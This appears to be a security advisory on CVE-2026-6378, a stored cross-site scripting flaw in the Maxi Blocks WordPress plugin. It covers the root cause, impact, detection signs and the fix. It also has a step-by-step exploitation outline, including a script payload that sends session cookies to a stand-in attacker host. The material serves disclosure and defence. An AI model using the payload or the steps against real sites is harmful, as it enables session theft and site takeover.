CVE-2026-6378: 
WordPress vulnerability analysis and mitigation

CVE-2026-6378 is a Stored Cross-Site Scripting (XSS) vulnerability in the Maxi Blocks plugin for WordPress, affecting all versions up to and including 2.1.9. The flaw exists in the /wp-json/maxi-blocks/v1.0/style-card REST API endpoint due to insufficient input sanitization and output escaping of the sc_styles parameter. It was published on May 2, 2026, with a patch released in version 2.1.10. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Github Advisory, Wordfence).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where the sc_styles parameter accepted via the REST API endpoint was stored and later rendered without proper sanitization or escaping. In the vulnerable code (class-maxi-api.php), the raw value of sc_styles was assigned directly to _maxi_blocks_style_card_styles and subsequently injected into page output via wp_add_inline_style() in class-maxi-style-cards.php without stripping HTML tags. The fix applied in version 2.1.10 wraps all assignments and output of sc_styles with WordPress's wp_strip_all_tags() function to neutralize injected markup. Exploitation requires an authenticated session with at minimum Author-level privileges, and no user interaction is needed beyond the attacker submitting the malicious payload (Github PR, Github Advisory).

Successful exploitation allows an authenticated attacker with Author-level access or above to inject persistent malicious JavaScript that executes on every page where the plugin's style card styles are loaded — including across the entire WordPress admin panel. This broad execution scope enables attackers to steal session cookies or credentials, perform unauthorized administrative actions, redirect users, or further compromise the WordPress site. The confidentiality and integrity impacts are rated Low individually, but the changed scope means the injected scripts can affect components beyond the attacker's own privilege boundary (Github Advisory, Wordfence).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of active in-the-wild exploitation (Wordfence). The EPSS score is approximately 0.056–0.073%, placing it in the 22nd percentile for exploitation likelihood within 30 days (Github Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement for authenticated Author-level access, limiting the attacker pool to users with existing contributor or author accounts on the target WordPress site.

1. Reconnaissance: Identify WordPress sites running the Maxi Blocks plugin version 2.1.9 or earlier. This can be done by checking the plugin's readme.txt or generator meta tags exposed in page source, or by querying the REST API endpoint /wp-json/maxi-blocks/v1.0/style-card.
2. Obtain Author-level credentials: Acquire or compromise an account with at least Author-level privileges on the target WordPress site (e.g., via phishing, credential stuffing, or registration if open).
3. Craft malicious payload: Prepare a sc_styles parameter value containing an XSS payload embedded in CSS-like content, such as </style><script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Submit payload via REST API: Authenticate and send a POST request to /wp-json/maxi-blocks/v1.0/style-card with the crafted sc_styles value, using a valid WordPress nonce or authentication token.
5. Trigger execution: The malicious script is now stored in the WordPress options table and rendered on every page that loads the plugin's style card styles, including admin panel pages. Any administrator or user visiting these pages will execute the injected script.
6. Harvest results: Collect stolen session tokens, credentials, or perform further actions (e.g., create rogue admin accounts) via the attacker-controlled endpoint (Github Advisory, Github PR).

• Network: Unexpected POST requests to /wp-json/maxi-blocks/v1.0/style-card from Author-level user accounts, especially containing HTML or script tags in the request body; outbound connections from the WordPress server to unknown external domains following admin panel visits.
• Logs: WordPress access logs showing REST API POST requests to the style-card endpoint with unusual or encoded payloads in the sc_styles parameter; authentication logs showing Author-level accounts accessing REST API endpoints outside normal usage patterns.
• Database: The wp_options table entries for _maxi_blocks_style_card_styles or _maxi_blocks_style_card_styles_preview containing HTML tags, <script> blocks, or JavaScript event handlers.
• File System: No direct file artifacts expected, as the payload is stored in the database; however, unexpected changes to plugin files in wp-content/plugins/maxi-blocks/ may indicate secondary compromise.

The vulnerability is fixed in Maxi Blocks plugin version 2.1.10, which applies wp_strip_all_tags() to the sc_styles parameter at all storage and output points. Site administrators should update the plugin immediately via the WordPress admin dashboard or by downloading version 2.1.10 from the WordPress plugin repository. As an interim measure, restrict Author-level and above access to only fully trusted users, and consider disabling REST API access for lower-privileged roles if not required. Monitor REST API logs for suspicious activity targeting the style-card endpoint (Github Advisory, Wordfence).

Wordfence, which discovered and reported the vulnerability, included it in their weekly WordPress vulnerability report for the period of April 27–May 3, 2026 (Wordfence Blog). The vulnerability was also noted on the VulDB Mastodon feed (VulDB Social). Community reaction has been limited given the moderate severity and lack of active exploitation.